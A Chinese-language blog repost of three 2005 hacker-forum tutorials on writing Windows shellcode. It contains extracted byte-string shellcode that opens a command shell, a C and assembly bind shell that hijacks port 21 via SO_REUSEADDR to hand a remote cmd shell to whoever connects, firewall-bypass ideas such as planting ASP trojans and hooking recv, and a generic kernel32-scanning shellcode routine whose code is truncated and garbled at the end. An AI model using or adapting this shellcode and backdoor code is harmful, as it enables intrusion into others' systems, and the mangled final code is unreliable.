On The Road ZJL

我的博客列表

2008年8月12日星期二

关于shellcode

关于shellcode
Windows下编写自己的ShellCode
黑森林 发表于 2005-10-26 10:09:00

为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详 细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中 一步一步的演示的,希望大家会发现,Exp真好,ShellCode最美妙!

ShellCode简介和编写步骤




从以前的文章和别人的攻击代码中可以知道,ShellCode是以“xFFx3Ax45x72……”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“xFFx3Ax45x72……”―― 由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的 “xFFx3Ax45x72……”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成 ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了

在此可以下个定义:ShellCode就是一段程序的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。

当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是,
1.构想ShellCode的功能;
2.用C语言验证实现;
3.根据C语言实现,改成带有ShellCode特点的汇编;
4.最后得到机器码形式的ShellCode。

其中最重要的是第三步――改成有ShellCode特点的汇编,将在本文的后面讲到。

首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳……),但最基本的 功能,还是希望开一个DOS窗口,那我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。

C语言代码



比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:

#i nclude
#i nclude
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函数地址
(ProcAdd) ("command.com"); //其实就是执行System(“command.com”)
return 0;
}

其实执行System(“command.com”)也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:

  • 首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。
  • 接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符串,返回值为空的函数指针;
  • 使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll;
  • 再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;
  • 最后(ProcAdd) ("command.com")就是调用System("command.com"),可以获得一个DOS窗口。

在窗口中我们可以执行Dir,Copy等命令。如下图1所示。


screen.width-500)this.style.width=screen.width-500; } }">

图1

获得函数的地址


程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?

在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示

screen.width-500)this.style.width=screen.width-500; } }">

图2

继续按F10执行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后,EAX变为7801AFC3,说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。

screen.width-500)this.style.width=screen.width-500; } }">

图3

WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。

为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以 GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。

Windows下函数的调用原理


为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。 比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push EIP + Jmp Fun。其过程如下图4所示。

screen.width-500)this.style.width=screen.width-500; } }">

图4

同理,我们要执行System("command.com"):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后Call System函数的地址,就完成了执行。如图5所示。

screen.width-500)this.style.width=screen.width-500; } }">

图5

构造有ShellCode特点的汇编


明白了Windows函数的执行原理,我们要执行System(“Command.exe”),就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!

我们把‘Command.exe’一个字符一个字符的赋给堆栈,这样‘Command.exe’字符串就有了,而栈顶的指针ESP正好是 Command.exe字符串的地址,我们Push esp,就完成了参数――Command.exe字符串的地址入栈。如下图6所示。

screen.width-500)this.style.width=screen.width-500; } }">

图6

参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。
把思路合起来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。

mov esp,ebp ;
push ebp ;
mov ebp,esp ; 把当前esp赋给ebp
xor edi,edi ;
push edi ;压入0,esp-4,; 作用是构造字符串的结尾字符。
sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com串地址作为参数入栈
mov eax, 0x7801AFC3 ;
call eax ; call System函数的地址

明白了原理再看实现,是不是清楚了很多呢?

提取ShellCode




首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.exe”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图7所示。

screen.width-500)this.style.width=screen.width-500; } }">

图7

同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。

screen.width-500)this.style.width=screen.width-500; } }">

图8

有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的 Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode 了。提取出来的ShellCode如下。

unsigned char shellcode[] =
"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53"
"xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6"
"x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA"
"x64x9fxE6x77" //sp3 loadlibrary地址0x77e69f64
"x52x8Dx45xF4x50"
"xFFx55xF0"
"x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E"
"x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4"
"x50xB8"
"xc3xafx01x78" //sp3 System地址0x7801afc3
"xFFxD0";

验证ShellCode


最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分 拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下:

unsigned char shellcode[] =
"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53"
"xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6"
"x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA"
"x64x9fxE6x77" //sp3 loadlibrary地址0x77e69f64
"x52x8Dx45xF4x50"
"xFFx55xF0"
"x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E"
"x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4"
"x50xB8"
"xc3xafx01x78" //sp3 System地址0x7801afc3
"xFFxD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}

( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句就相当于执行ShellCode数组里的那些数 据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成!


小结

这个ShellCode的功能还比较单薄,而且通用性也待进一步研究,但的确是一个由我们亲自打造出来的ShellCode,而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法,以后就可以在广阔的空间中自由翱翔!


突破防火墙的ShellCode
黑森林 发表于 2005-10-26 10:16:00

现在网络上获得控制台的ShellCode要么是在目标机上开一个端口,等待攻击者连接;要么是让目标机主动连接攻击者的主机,俗称反向连接。但前种方法 一般都会被防火墙挡住,而后者反连不但需要攻击者有一个公网IP,而且也会被目标机端禁止外连访问的防火墙挡掉。那有没有更好的办法呢?

  1. 第 一种方法就是复用攻击时的Socket。我们在给目标机发送攻击字符串的时候,就使用了Socket,如果还存在,我们把它找到并回收利用。 ShellCode完成的功能是查找进程中所有的Socket并依次判断,如果是那个发送攻击字符串的Socket,就使用它来传文件,开后门等等。
  2. 第二种方法是复用端口。作为服务器,防火墙总会打开提高服务所需要的端口,比如FTP的21端口,IIS的80端口等。我们在ShellCode中复用这些防火墙打开的端口,并完成自己想要的功能。
  3. 第三种方法是终止掉目标机上的FTP或IIS等服务,然后再占用21、80等端口。这种方法在法二失败的情况下可以使用。
  4. 还有其它的一些方法,比如红色代码蠕虫使用的Hook技术,它是把TcpSockSend函数替换掉,这样发给任何客户的信息都是“Hacker by Chinese”,我们也可以把接收函数Recv函数Hook掉,保证即执行攻击者发过去的命令,又不影响正常的服务。
  5. 另 外还可以查找Socket,把所有的Socket都绑定一个DOS Shell;如果知道网站的物理路径,还可以由ShellCode直接创建一个ASP木马!当然还可以添加用户,创建虚拟映射盘,直接写一个EXE的木马 并执行等……方法很多,要用发散性的思维考虑!只要想的到,不要管做得到做不到!

    不管做得到做不到?这些思路都可以实现吗?其实在《Windows下ShellCode编写初步》一文中已经讲过,ShellCode就是一段代码的机器 码形式,所以只要ShellCode不要太长,并符合特殊字符的规划,运行起来是不会有问题的。来个实际的编写例子吧,这里就以第二种思路――复用端口,来讲解突破防火墙ShellCode的实现。

C实现重用端口

一般情况下,已经绑定的端口是不能再次被绑定的,但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下,

int setsockopt(
SOCKET s,
int level,
int optname,
const char* optval,
int optlen
);

第一个参数为要改变的Socket标志符,第二个参数为选项的等级,第三个参数就是要改成的选项名了,第四第五个参数为请求值缓冲区的指针和大小。具体实现时,把第三个参数设为SO_REUSEADDR,就可以重用已绑定的端口了。代码如下:

BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)

其它的和一般的后门编写就一样了。怎么样,很简单吧?

WTF:该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项,就只能用其它的方法绑定端口了。

Telnet后门的编写

端口可以重用之后,总要加点功能来显示这种方法的优劣吧?空说复用端口好有什么用呢?所以再加上一个大家都看得见的功能:给连接端口的客户开一个远程的Shell。

开远程的Shell比较简单,用CreateProcess函数建立CMD进程,并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这 里的Socket要用WSASocket函数建立才能这样替换,而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内,大家可以参看 以前和将来的黑防,都会有讲的。

C实现的程序如下。
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
//监听本机21端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求21端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//设置为输入输出句柄为Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}

测试一下,先安装一个Serv_U FTP服务器,那么它会打开21端口。如果Telnet 21端口,就会得到Serv_U的Banner,如下图1所示。


screen.width-500)this.style.width=screen.width-500; }">

图1

现在执行我们的程序,就会重新绑定21端口。用Netstat –an查看,会发现有两个21端口在监听,一个的IP是0.0.0.0,一个是127.0.0.1。如图2所示。

screen.width-500)this.style.width=screen.width-500; }">

图2

现在再Telnet 21端口,这次得到的是Shell!哈哈,没错,我们的程序抢掉了Serv_U用的21端口,突破成功!如图3所示。

screen.width-500)this.style.width=screen.width-500; }">

图3

汇编的编写

C程序代码成功实现后,就要把它变为有ShellCode特点的汇编了。
《打造Windows下自己的ShellCode》一文中分析过,Windows下函数的调用是先将参数从右到左入栈,然后Call 函数的地址,所以首先要找出所有函数的地址并记下来。

我写了个“FindAddress.cpp”,来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll,再 GetProcAddress函数名,最后打印出得到的地址。以后要查找其它函数地址时,只要更改LoadLibrary和GetProcAddress 参数里的Dll名和函数名就可以了。
在我的系统XP sp0下,执行的效果如下图4所示。

screen.width-500)this.style.width=screen.width-500; }">

图4

在汇编代码中,把找出来的函数地址保存下来,以备后用。这里用的是固定的API函数地址,以后介绍了动态获取函数地址后,只需要加上动态查找那部分,而后面部分可以保持不动就继续使用了。这也算是一种工程的思想吧。
地址找到后,开始实现每个函数,函数实现完毕,汇编就写出来了。

第一个是WSAStartup(MAKEWORD(2,2),&ws), 随便减Esp 0x200,将Esp作为WS的地址,而MAKEWORD(2,2)就是0x202,所以直接Push 0x202就可以了。汇编实现如下:
sub esp, 0x200
push esp //第二个参数&wsa
push 0x202 //第一个参数0x202
call dword ptr [ebp + 0x8] //[ebp+0x8]中存着WSAStartup的地址,执行
add esp, 0x200

第二个是执行WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0),这有点麻烦,那些参数值是多少 呢?一种方法点右键,选择“goto 定义”,就可以找到对应的值,但遇到参数比较多的时候就比较慢;另一种方法,借用写好的C程序,按F10进入调试,按Debug工具栏上的 Disassemble按钮,就出现了对应的汇编代码。如下图5所示。

screen.width-500)this.style.width=screen.width-500; }">

图5

看,对应的值不就出来了吗?我们只要仿照着,依次Push 0 0 0 6 1 2,再Call WSASocketA函数的地址就行了。以前说过,WSASocketA函数执行完后,EAX会存放函数的返回值,所以这里的EAX就是建立的 Socket,我们把它保存在Ebx中,在后面会使用。

mov ebx, eax ; save Socket to ebx

下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”,用同样的方法,就会知道Sizeof(val)=4,SO_REUSEADDR为4,SOL_SOCKET为0FFFFh。那第四个参数(char *)&val怎么表示呢?

其实Val=true,就是0x00000001,那么&val就是0x00000001的地址,我们在堆栈中构造出0x00000001,把它的地址当参数就可以了。

mov eax, 0x00000001
push eax
mov esi, esp ;这样把&val存在esi中。

再执行Setsockopt就是:

push 4 //第五个参数sizeof(val)=4
push esi //第四个参数&val
push 4 //第三个参数SO_REUSEADDR
push 0FFFFh //第二个参数SOL_SOCKET
push ebx //第一个参数,WSASocket建立的Socket
Call dword ptr [ebp+0x16]//[ebp+0x16]中存着setsockopt的地址,执行

OK!瞬间完成了一半的工作量,看着汇编一段一段的写好,真是件惬意的事啊!

好 了,该第四个函数了:“bind(listenFD,(sockaddr *)&server,sizeof(server));”,方法同上,第二个参数&server是一个sockaddr_in结构的地 址,而且里面还有对端口、地址的设置,就是这三句:

server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");

怎么转换比较简单呢?还是借助C程序的调试过程!在调试时,从Debug工具栏上调出Memory窗口,输入Server,就可以看到Server这个结构的值,在赋值完毕之后,变成02 00 00 15 7F 00 00 01,如下图6所示。

screen.width-500)this.style.width=screen.width-500; }">

图6


而且通过这个过程还知道,第一个0002是AF_INET,1500是htons(21),最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我们就依着葫芦画瓢,模仿着构造出Server的值,并把地址给Esi保存,代码如下:

push 0x0100007F
push 0x15000002
mov esi,esp //构造server的值,并把地址赋给esi

有了Server参数后,就可以执行Bind函数了:

push 10h //第三个参数sizeof(server)=10h
push esi //第二个参数server的地址
push ebx //第一个参数Socket
call dword ptr [ebp+0x20] //[ebp+0x20]中存着bind的地址,执行

那接下来的Listen(listenFD,2)就太简单了,实现如下:

push 2; //第二个参数2
push ebx; //第一个参数Socket
call dword ptr [ebp+0x24]; //[ebp+0x24]中存着listen的地址,执行

随后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能轻松搞定,为:
push 10h //构造iAddrSize,地址为esp
push esp //第三个参数&iAddrSize
push esi //第二个参数&server
push ebx //第一个参数Socket
call dword ptr [ebp+0x28] //[ebp+0x28]中存着accept的地址,执行

当然,因为后面要用到Accept后产生的Socket,所以把它保存在Ebx中。
mov ebx, eax //把新Socket保存在ebx中
这 样就到了最关键的决定成败的最终 BOSS:“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。 哇,大概看一看,好多参数,真吓人!但仔细一看,原来是纸老虎,参数基本上都是0和1,要构造的只有三个,那就简单了。

0和1就不说了, 直接Push就可以了,&ProcessInformation最简单,因为不用赋初值,随便找个不用的地址就可以了,CmdLine也好解 决,“cmd” 就是63 6d 64 00,构造在Ebp+0x32中,把Ebp+0x32的地址当参数压就可以了。只剩下&si了,对它的赋值有几句话,
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//设置为输入输出句柄为Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
就是先清零,再设置Flag和句柄。我们在调试过程中,仔细地、慢慢地、温柔地数,最后可以知道Si+2ch的地方为Flag地址,“Si+38h Si+3ch Si+40h”的地方为输入输出和错误句柄。那么在汇编中构造Si就是:

lea edi,[esp];
mov word ptr [edi+2ch], 0x0101; //si.dwFlags =0x0101
mov [edi+38h],ebx; //si.hStdInput
mov [edi+3ch],ebx; //si.hStdOutput
mov [edi+40h],ebx; //si.hStdError = Socket

实现CreateProcess如下:
//暂存cmd.exe字符串于ebp+0x32中
mov dword ptr [ebp+0x32],0x00646d63;
lea eax,[esp+0x44]
push eax //最后一个参数&ProcessInformation
push edi //&si
push 0 //0
push 0 //0
push 0 //0
push 1 //1
push 0 //0
push 0 //0
lea eax,[ebp+0x32]
push eax //"cmd"
push 0 //0
call [ebp+0x4] //[ebp+0x4]中存着CreateProcessA的地址,执行

ShellCode的获取和验证

好了,把汇编连起来,得到“ReBindASM.cpp”验证一下,呵呵,还是成功。如图7所示。

screen.width-500)this.style.width=screen.width-500; }">

图7


有一个出错对话框——当然了,我们的Esp ebp都被覆盖了,当然会出错。感兴趣的读者可以自己下去把它们恢复一下。剩下我们最感兴趣的ShellCode的提取了。
《打造Windows下自己的ShellCode》中讲过,在得到汇编后,可以进行调试,然后把汇编对应的机器码一个一个的抄下来。这里当然也可以这样,但代码太多了,一个个的抄也太郁闷了吧……我们换个方法。

进入调试,在调试进入我们的汇编时,在Memory窗口中输入Eip,这样出现的就是我们ShellCode在内存中的值,如下图8所示。

screen.width-500)this.style.width=screen.width-500; }">

图8


这下简单了,把ShellCode从开始到结束粘贴下来,删掉多于的字符,把空格替换成’\x’,就得到重用端口,突破防火墙的ShellCode如下:

char ShellCode[] =
"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"
"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"
"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"
"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"
"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"
"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"
"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"
"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"
"\x6A\x00\xFF\x55\x04";

在Main函数里面,嵌入如下代码就可以将ShellCode当成函数执行:
lea eax, ShellCode;
call eax

测试一下,哈哈,还是成功了。如图9所示。

screen.width-500)this.style.width=screen.width-500; }">

图9


这样我们就亲自打造出了一个ShellCode,而且这个ShellCode在外面是绝对找不到的哦,呵呵,知道为什么吗?因为这个ShellCode根本不能用啊!(豆大的汗珠从WTF后脑勺上滴下……)

  • 一是因为使用的是XP SP0的函数绝对地址,只能在XP SP0下用,如果是2000,或者XP的另外版本,都会失败;
  • 二是绑定的是127.0.0.1,其实需要对方的实际IP地址。

要解决这两个问题,

  • 一是需要动态的获得函数地址,来把我们这个ShellCode改为通用的;
  • 二是加入对方IP和端口的定制,这样打造出的才是完美的ShellCode。

不过,杂志嫌薄,版面苦短,就留到下一次介绍吧!


windows下shellcode高级编程
黑森林 发表于 2005-10-29 22:26:00

网上关于Shellcode的文章不少,但对于windows环境下的讨论不是很多,经典的就更少了,这一篇应该不错,推荐给大家!(站长:黑森林整理)
unix 等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以 SHELLCODE编写一般都比较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET连接,要加载 程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80规范,所以一般都使用API,而API函数地址又因为 系统版本的不同而不一样,所以要编写WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4 、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下 面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用GetProcAddress定位,要使用库用 LoadLibraryA加载。那这样SHELLCODE就只依靠这两个API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个 API在系统库KERNEL32.DLL里面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和 GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址
,所幸知道了WINDOWS的模块数据结构也就不难了,主要是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){ imgbase="="0x78000000)" imgbase="0xbff00000;" imgbase="="'ZM'&&" fnbase="*(int" k="*(int" k ="="'NREK'&&*(int" libhandle="imgbase;" k="imgbase+*(int" l="0;l<*(int" k="*(WORD" k="*(int" procgetadd="k+imgbase;" procgetadd="="0)">

没有评论: